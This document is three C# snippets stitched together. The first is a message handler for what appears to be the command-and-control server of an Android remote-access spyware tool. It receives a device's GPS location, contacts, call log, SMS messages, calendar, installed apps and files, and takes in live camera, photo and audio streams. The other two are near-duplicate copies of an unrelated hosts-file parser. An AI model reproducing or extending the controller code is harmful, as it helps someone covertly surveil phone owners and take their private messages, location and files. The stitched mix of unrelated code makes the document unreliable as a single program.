/// <summary> /// Read messages from clients /// </summary> /// <param name="ar">The async result</param> private void ReadCallback(IAsyncResult ar) { int readBytes = default(int); //bytes read from the stream MessageData md = (MessageData)ar.AsyncState; //The message data assigned bool dclient = false; //If dclient client disconnect is signalled bool dlFinished = false; //If file download is finished try { readBytes = md.sender.EndReceive(ar); //Read bytes from the stream } catch (Exception ex) { Console.WriteLine("Read error\r\nError: " + ex.Message); } if (readBytes > 0) //if bytes read are more than 0 { //Get the message bytes byte[] recv = new byte[readBytes]; Array.Copy(md.bytes, recv, readBytes); Array.Clear(md.bytes, 0, recvBufferSize); if (isDlFile) //If downloading file { if (File.Exists(dlFilePath)) //If file created { using (FileStream fs = new FileStream(dlFilePath, FileMode.Append, FileAccess.Write)) //Oepn the file for writing and append { fs.Write(recv, 0, readBytes); //Write file bytes dlCurrentLength += readBytes; //Increment the bytes written count } } else //File not created yet { using (FileStream fs = File.Create(dlFilePath)) //Create file and open for writing { fs.Write(recv, 0, readBytes); //Write file bytes dlCurrentLength += readBytes; //Increment the bytes written count } } if (dlTotalLength == dlCurrentLength) //if bytes written = fileSize { isDlFile = false; //No longer downloading file dlFinished = true; //Download is finished (blocking normal command interpretation for one more loop) //Signal a new FileOperation, notify the user that the file is ready FileOperation fop = new FileOperation() { name = "File Download", success = true, message = "File downloaded to the selected path" }; Invoke(() => FileOperationResult?.Invoke(fop)); } } if (!isDlFile && !dlFinished) //if not downloading and download is not finishing { string message = Encoding.UTF8.GetString(recv, 0, readBytes); //Convert message to text int msgLength = GetDataLength(message); //Get the length header data bool restartReading = false; //Indicates if the function should restart reading and skip command interpretation if (((msgLength > readBytes && msgLength != 0) || (md.fullMsgLength > readBytes)) && !expectAudio) //Protocol messes up audio streaming :( { md.dataStoreCount += readBytes; //Increment the stored bytes count if (md.dataStoreCount == readBytes) //If this is the first store of data { md.fullMsgLength = msgLength + 9; // +9 to count the lengthHeader too md.dataStore = new byte[readBytes]; //init the buffer to store data Array.Copy(recv, md.dataStore, readBytes); //Copy the received bytes to the store Console.WriteLine("First Data Store: " + readBytes + " bytes"); } else //Not first stroing { //Save the data store in a temp buffer byte[] tempbytes = new byte[md.dataStoreCount - readBytes]; Array.Copy(md.dataStore, tempbytes, md.dataStoreCount - readBytes); //Allocate new dataStore md.dataStore = new byte[md.dataStoreCount]; //Restore previous data Array.Copy(tempbytes, md.dataStore, tempbytes.Length); //Copy new data received Array.ConstrainedCopy(recv, 0, md.dataStore, tempbytes.Length, readBytes); Console.WriteLine("Second Data Store, fullbytes: " + md.dataStoreCount); Console.WriteLine("Full message length: " + md.fullMsgLength); } if (md.fullMsgLength == md.dataStoreCount) //Optimal case, data received { Console.WriteLine("Count equals, decoding message"); message = Encoding.UTF8.GetString(md.dataStore, 0, md.dataStoreCount); //Decode the full message recv = new byte[md.dataStoreCount - 9]; //Allocate new recv Array.ConstrainedCopy(md.dataStore, 9, recv, 0, md.dataStoreCount - 9); //Skip the length header bytes Array.Clear(md.dataStore, 0, md.dataStoreCount); //Clear the dataStore //Reset data store md.dataStoreCount = 0; md.fullMsgLength = 0; } else //Count mismatch, can't interpret command { restartReading = true; Console.WriteLine("Count mismatch, " + md.dataStoreCount + "/" + md.fullMsgLength); } if (md.dataStoreCount > md.fullMsgLength) //Too fast streaming, other packets stored than original { //Discard previous data md.dataStoreCount = 0; md.fullMsgLength = 0; Array.Clear(md.dataStore, 0, md.dataStore.Length); restartReading = true; //ignore current chunk of data } } else //If no need for the protocol, then cut the length header from the byte array { byte[] temp = new byte[readBytes]; Array.Copy(recv, temp, readBytes); recv = new byte[readBytes - 9]; Array.ConstrainedCopy(temp, 9, recv, 0, readBytes - 9); Array.Clear(temp, 0, readBytes); } if (!restartReading) //if allowed to handle commands { if (!expectAudio && !expectPhoto && !expectVideo) //if not expecting any raw bytes then handle command { message = message.Substring(9); //Remove the length header message = Encoding.UTF8.GetString(Convert.FromBase64String(message)); Console.WriteLine("Message Received: " + message); if (message == "dclient") //Client going to die { //Dispose the client and signal the UI dclient = true; string clientName = "Client" + clientList.IndexOf(md.sender); Invoke(() => ClientDisconnected?.Invoke(clientName)); clientList.Remove(md.sender); if (md.sender == currentClient) { currentClient = null; } md.sender.Shutdown(SocketShutdown.Both); if (md.sender.Connected) { md.sender.Disconnect(false); } md.sender.Close(); md.sender.Dispose(); md.sender = null; } if (message == "test") //Test connection response { ShowMessageBox("Connection is working!", "Connection test", MessageBoxButtons.OK, MessageBoxIcon.Information); } if (message.StartsWith("gps|")) //Gps data recevice gps|latitude|longitude { string lat = message.Split('|')[1]; if (lat != "failed") { string lng = message.Split('|')[2]; ShowMessageBox("Latitude: " + lat + Environment.NewLine + "Longitude: " + lng, "Location Data", MessageBoxButtons.OK, MessageBoxIcon.Information); } else { ShowMessageBox("Failed to get device location!", "Location Data", MessageBoxButtons.OK, MessageBoxIcon.Error); } } if (message.StartsWith("battery|")) //Battery data received battery|level|is charging|charge method|temperature { string[] data = message.Split('|'); string level = data[1].Substring(0, data[1].IndexOf('.')); string charging = data[2]; string method = data[3]; string temp = data[4]; string displayData = "Battery Level: " + level + "%\r\n" + "Battery Charging: " + charging + "\r\n" + "Battery Charging Method: " + method + "\r\nBattery Temperature: " + temp + "°C"; ShowMessageBox(displayData, "Battery Information", MessageBoxButtons.OK, MessageBoxIcon.Information); } if (message.StartsWith("contactData")) //Get all contacts { //Serialize data and signal the UI string data = message.Substring(11); String[] contacts = data.Split('|'); Dictionary <string, string> contactsList = new Dictionary <string, string>(); foreach (string contact in contacts) { String[] contactData = contact.Split(';'); string contactID = contactData[0]; string contactName = contactData[1]; contactsList.Add(contactID, contactName); } Invoke(() => ContactsListReveived?.Invoke(contactsList)); } if (message.StartsWith("contact|")) //Get contact data { //Serialize the data and display it msgBoxes string[] data = message.Substring(8).Split('|'); string phoneNumbers = data[0]; string emailAddresses = data[1]; string address = data[2]; string note = data[3]; ShowMessageBox("Associated Phone Number(s): \r\n" + phoneNumbers.Replace(";", Environment.NewLine), "Contact Information", MessageBoxButtons.OK, MessageBoxIcon.Information); ShowMessageBox("Associated Email Address(es): \r\n" + emailAddresses.Replace(";", Environment.NewLine), "Contact Informaton", MessageBoxButtons.OK, MessageBoxIcon.Information); ShowMessageBox("Associated Address: \r\n" + address, "Contact Information", MessageBoxButtons.OK, MessageBoxIcon.Information); ShowMessageBox("Associated Note: \r\n" + note, "Contact Information", MessageBoxButtons.OK, MessageBoxIcon.Information); } if (message.StartsWith("calldata|")) //Get the call log { //Serialize the data and signal the UI string data = message.Substring(9); if (data == "failed") { ShowMessageBox("Failed to get call log", "Call Log", MessageBoxButtons.OK, MessageBoxIcon.Error); } else { data = data.Replace("plus", "+"); List <CallData> callDataList = new List <CallData>(); String[] logs = data.Split('|'); foreach (String log in logs) { String[] logData = log.Split(';'); CallData cd = new CallData() { phoneNumber = logData[0], callDuration = int.Parse(logData[1]), callDate = logData[2], callType = logData[3] }; callDataList.Add(cd); } Invoke(() => CallLogReceived?.Invoke(callDataList)); } } if (message.StartsWith("sms-msg|")) //Get SMS Messages { //Serialize data and signal the UI List <SmsData> smsMessages = new List <SmsData>(); string data = message.Substring(8); string[] messages = data.Split('|'); foreach (string msg in messages) { string[] messageData = msg.Split(';'); SmsData sd = new SmsData() { id = messageData[0], phoneNumber = messageData[1], threadID = int.Parse(messageData[2]), date = messageData[3], message = messageData[4], seen = messageData[5], sent = (messageData[6] == "false") ? false : true }; smsMessages.Add(sd); } Invoke(() => SmsDataReceived?.Invoke(smsMessages)); //md.tempDataSave = null; } if (message.StartsWith("calendar|")) //Get calendar events { //Serialize data and Signal the UI string data = message.Substring(9); if (data != "failed") { String[] events = data.Split('|'); List <EventData> dataList = new List <EventData>(); foreach (String cevent in events) { String[] eventData = cevent.Split(';'); EventData ed = new EventData() { name = eventData[0], description = eventData[1], location = eventData[2], id = eventData[3], startTime = eventData[4], endTime = eventData[5] }; dataList.Add(ed); } Invoke(() => CalendarDataReceived?.Invoke(dataList)); } } if (message.StartsWith("apps|")) //List installed apps { //Serialize data and Signal the UI string data = message.Substring(5); StringBuilder sb = new StringBuilder(); foreach (string app in data.Split('|')) { sb.Append(app).Append(", "); } ShowMessageBox(sb.ToString(), "Installed Apps", MessageBoxButtons.OK, MessageBoxIcon.Information); } if (message.StartsWith("flist|")) //List Files { //Serialize data and Signal the UI string data = message.Substring(6); if (data == "failed") { FileOperation fop = new FileOperation() { name = "List Files", success = false, message = "Failed to list files in the selected directory" }; Invoke(() => FileOperationResult?.Invoke(fop)); } else { String[] files = data.Split('|'); List <FileData> fileList = new List <FileData>(); foreach (String file in files) { string[] fileData = file.Split(';'); FileData fd = new FileData() { name = fileData[0], size = int.Parse(fileData[1]), path = fileData[2], isDir = (fileData[3] == "y") ? true : false }; fileList.Add(fd); } Invoke(() => FilesReceived?.Invoke(fileList)); } } if (message.StartsWith("fpaste|")) //Patse file result { //Create FileOperation and Signal the UI string data = message.Substring(7); FileOperation fop = new FileOperation() { name = "Paste file", success = (data == "ok") ? true : false, message = (data == "ok") ? "File Pasted to current directory" : "Failed to paste file to current directory" }; Invoke(() => FileOperationResult?.Invoke(fop)); } if (message.StartsWith("frename|")) //File Rename Result { //Create FileOperation result and Signal the UI string data = message.Substring(8); FileOperation fop = new FileOperation() { name = "Rename file", success = (data == "ok") ? true : false, message = (data == "ok") ? "File Renamed" : "Failed to rename file" }; Invoke(() => FileOperationResult?.Invoke(fop)); } if (message.StartsWith("fdel|")) //Delete file result { //Create FileOperation result and Signal the UI string data = message.Substring(5); FileOperation fop = new FileOperation() { name = "Delete file", success = (data == "ok") ? true : false, message = (data == "ok") ? "File Deleted" : "Failed to delete file" }; Invoke(() => FileOperationResult?.Invoke(fop)); } if (message.StartsWith("fconfirm|")) //Init download result { //Get result and start file download if result is positive string data = message.Substring(9); if (data == "failed") { FileOperation fop = new FileOperation() { name = "File Download Init", success = false, message = "Failed to init file download, file doesn't exist" }; Invoke(() => FileOperationResult?.Invoke(fop)); } else { isDlFile = true; dlTotalLength = int.Parse(data); dlCurrentLength = 0; } } if (message.StartsWith("fupload|")) //File upload result { //Get result and handle it string data = message.Substring(8); if (data == "failed") //Failed to init on client side { FileOperation fop = new FileOperation() { name = "File Upload", success = false, message = "Failed to start file upload, " }; Invoke(() => FileOperationResult?.Invoke(fop)); } else if (data == "ok") //client can receive the file { byte[] fileBytes = File.ReadAllBytes(ulFilePath); //Get the file bytes SendBytes(fileBytes, fileBytes.Length); //Send the file bytes } else //Upload completed { //Signal the UI FileOperation fop = new FileOperation() { name = "File Upload", success = true, message = "File upload completed, client confirmed file" }; Invoke(() => FileOperationResult?.Invoke(fop)); } } } if (expectVideo) //Expect video frames { //Pass the frame to the UI Invoke(() => VideoReceived?.Invoke(recv)); } if (expectPhoto) //Expect image data { //Pass image data to UI Invoke(() => PhotoReceived?.Invoke(recv)); expectPhoto = false; //Expect photo no longer science it only sends 1 photo } if (expectAudio) //Expect audio data { audioPlayback.BufferPlay(recv); //Playback the audio //Console.WriteLine("Bytes received: " + recv.Length); } } } } try { if (!dclient) { md.sender.BeginReceive(md.bytes, 0, recvBufferSize, SocketFlags.None, new AsyncCallback(ReadCallback), md); } } //Restart reading catch (Exception ex) { //Client disconnected without notifying Console.WriteLine("Android client closed!\r\nError: " + ex.Message); string clientName = "Client" + clientList.IndexOf(md.sender); Invoke(() => ClientDisconnected?.Invoke(clientName)); //Signal the UI clientList.Remove(md.sender); //Remove the client from the list if (md.sender == currentClient) { currentClient = null; //If it was the selected client, unselect it } md.sender.Close(); //Close the client md.sender.Dispose(); //Dispose the client md.sender = null; //Set the client to null } }
public static List<Host> ReadHosts(out FileOperationResult result) { result = FileOperationResult.Success; List<Host> hosts = new List<Host>(); TextReader txtStreamReader = null; try { txtStreamReader = new StreamReader(HostFileManager.HostPath); int id = 0; string line = String.Empty; while ((line = txtStreamReader.ReadLine()) != null) { // Split where \t or space, // 4 times, // Remove empty entries string[] data = line.Split(new char[] { '\t', ' ' }, 4, StringSplitOptions.RemoveEmptyEntries); // Valid: [#] IP HOST-Name [#Comment] // Items that are in [] are optional if (!Validator.IsValid(data)) continue; Host newHost = new Host(); newHost.Id = id++; // checks if binding is disabled if (data[0] == "#") { newHost.Enabled = false; newHost.IP = data[1]; newHost.HostName = data[2]; } else { newHost.Enabled = true; newHost.IP = data[0]; newHost.HostName = data[1]; } // checks if it binding has any comments if (data.Length > 2) { // for bindings that are not disabled int commentIndex = 2; // for bindings that are disabled if (data.Length > 3) commentIndex = 3; // remove '#' from comment if (data[commentIndex][0] == '#') newHost.Comment = data[commentIndex].Substring(1); else newHost.Comment = data[commentIndex]; } hosts.Add(newHost); } // end while } catch (FileNotFoundException) { result = FileOperationResult.FileNotFound; } catch { result = FileOperationResult.Failed; } finally { // close the file anyways if (txtStreamReader != null) txtStreamReader.Close(); } return hosts; }
public static List <Host> ReadHosts(out FileOperationResult result) { result = FileOperationResult.Success; List <Host> hosts = new List <Host>(); TextReader txtStreamReader = null; try { txtStreamReader = new StreamReader(HostFileManager.HostPath); int id = 0; string line = String.Empty; while ((line = txtStreamReader.ReadLine()) != null) { // Split where \t or space, // 4 times, // Remove empty entries string[] data = line.Split(new char[] { '\t', ' ' }, 4, StringSplitOptions.RemoveEmptyEntries); // Valid: [#] IP HOST-Name [#Comment] // Items that are in [] are optional if (!Validator.IsValid(data)) { continue; } Host newHost = new Host(); newHost.Id = id++; // checks if binding is disabled if (data[0] == "#") { newHost.Enabled = false; newHost.IP = data[1]; newHost.HostName = data[2]; } else { newHost.Enabled = true; newHost.IP = data[0]; newHost.HostName = data[1]; } // checks if it binding has any comments if (data.Length > 2) { // for bindings that are not disabled int commentIndex = 2; // for bindings that are disabled if (data.Length > 3) { commentIndex = 3; } // remove '#' from comment if (data[commentIndex][0] == '#') { newHost.Comment = data[commentIndex].Substring(1); } else { newHost.Comment = data[commentIndex]; } } hosts.Add(newHost); } // end while } catch (FileNotFoundException) { result = FileOperationResult.FileNotFound; } catch { result = FileOperationResult.Failed; } finally { // close the file anyways if (txtStreamReader != null) { txtStreamReader.Close(); } } return(hosts); }